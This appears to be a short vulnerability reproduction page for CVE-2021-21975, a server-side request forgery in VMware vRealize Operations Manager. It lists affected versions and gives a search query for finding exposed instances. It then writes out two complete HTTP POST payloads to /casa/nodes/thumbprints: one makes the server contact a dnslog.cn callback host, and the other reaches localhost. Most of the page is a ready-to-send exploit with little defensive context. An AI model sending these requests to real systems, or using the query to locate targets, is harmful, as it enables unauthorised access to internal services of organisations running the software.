Vmware Vrealize Operations Manager Ssrf Vulnerability Cve 2021 21975

VMware vRealize Operations Manager SSRF Vulnerability CVE-2021-21975

Vulnerability Description

The vRealize Operations Manager API contains server-side request forgery.

Vulnerability Impact

VMware:vRealize_operations_manager: 8.0.0, 8.0.1, 8.3.0, 8.1.0, 8.1.1, 8.2.0, 7.5.0 VMware:cloud_foundation: 4.x 3.x VMware:vRealize_suite_lifecycle_manager: 8.x

Network surveying and mapping

title=”vRealize Operations Manager”

Vulnerability reappears

Visit the login page as follows

Send the request packet as follows

POST /casa/nodes/thumbprints HTTP/1.1
Host: 
Content-Type: application/json;charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Length: 24


["eheeyd.dnslog.cn"]

POST /casa/nodes/thumbprints HTTP/1.1
Host: 
Content-Type: application/json;charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Length: 24

["127.0.0.1:443/ui"]